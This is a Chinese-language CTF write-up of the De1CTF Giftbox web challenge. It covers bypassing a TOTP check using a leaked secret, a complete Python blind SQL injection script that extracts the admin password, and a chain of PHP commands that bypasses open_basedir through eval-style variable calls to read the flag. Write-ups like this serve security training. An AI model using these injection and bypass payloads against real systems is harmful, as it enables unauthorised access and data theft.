De1CTF-Giftbox题解
De1CTF-Giftbox题解
这次Web题的难度有阶层,SSRF Me
是一个验签的绕过调用python的url_open进行ssrf请求、web4是一道n1ctf的原题,也懒得写wp了。还有两道比较难的,一道是ZSX师傅出的calc,统一三个后端的输出结果,过滤了括号。还有一道魔改了ciscn——2019的滑稽云,更改了溢出区的大小+外带结果。
最后就是Giftbox,不得不说,这是我见过最有小情调的ctf题目。做了一个伪unix页面,存在几个bash命令,和一个登陆功能,在登陆处存在sql注入(需要经过双因子认证)。比赛的时候没做出来,趁着赛题没关复现一下(顺便膜爆恩泽师傅orz..)
双因子认证
这种认证第一次见,其实是调用pyotp模块去验证,随便输入会报错
既然是前端发送验证请求,那就应该存在发送的ajax请求包。重点在开发者nodets和请求形式。它提示我们后端用了pyotp.zip的库去验证,而且在请求形式中把secret_key给了我们:GAXG24JTMZXGKZBU
队内师傅提醒说,python3的pyotp模块也可以根据key生成验证
赛后看到天枢的师傅用xhr发送请求,即前端爆破就可以直接调用topt函数,也是种不错的思路,学习了。
接着就是一个简单的注入
注入
脚本如下,空格会导致程序判断为参数分隔符,所以用/**/替代
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import requests
import pyotp as pyotp
import string
totp = pyotp.TOTP('GAXG24JTMZXGKZBU', 8, interval=5)
def curl(payload):
r = requests.post('http://222.85.25.41:8090/shell.php', params={'a': 'login admin\'/**/and/**/(' + payload + ')/**/and/**/\'1\'=\'1 admin', 'totp': totp.now()},
data={'dir': '/', 'pos': '/', 'filename': 'usage.md'})
if 'password' in r.text:
return True
else:
return False
def sqli():
for i in range(0, 2):
# db_data = "SELECT/**/table_name/**/FROM/**/information_schema.tables/**/WHERE/**/table_schema=\'giftbox\'/**/LIMIT/**/{},1".format(
# i)
# db_data = "SELECT/**/column_name/**/FROM/**/information_schema.columns/**/WHERE/**/table_schema=\'giftbox\'/**/and/**/table_name=\'users\'/**/LIMIT/**/{},1".format(
# i)
db_data = "select/**/password/**/from/**/giftbox.users/**/where/**/username/**/=/**/'admin'/**/limit/**/{},1".format(
i)
db_res = ""
for y in range(1, 64):
for c in string.printable:
db_res_payload = "substr((" + db_data + "),%d,1)/**/=/**/'%s'" % (y,c)
if curl(db_res_payload):
db_res += c
print("> " + db_res)
break
else:pass
if db_res == "":
break
if __name__ == '__main__':
sqli()
最后注入password字段得到一个hint为hinT{g1ve_u_hi33en_c0mm3nd-sh0w_hiiintttt_23333}
,登陆成功同时提示
Bypass open_dir
同时题目存在targeting命令,具体用法如下。结合之前的提示,推测是对每一个target进行一次eval的操作,因为targeting不允许存在双引号,所以用复杂变量${xxx(xxx)}的形式代替
但是没有执行到system(whoami),推测是有open_dir,用网上的方法bypass:从PHP底层看open_basedir bypass
最后的payload如下,因为有长度限制,进行变量拼接
targeting a chdir
targeting b css
targeting c {$a($b)}
targeting d ini_set
targeting e open_basedir
targeting f ..
targeting g {$d($e,$f)}
targeting h {$a($f)}
targeting i {$a($f)}
targeting j base64_
targeting k decode
targeting l $j$k
targeting m Ly8v
targeting n {$l($m)}
targeting o {$d($e,$n)}
targeting p print_r
targeting q file_get_
targeting r contents
targeting s $q$r
targeting t flag
targeting u {$p($s($t))}
launch
再次膜恩泽师傅..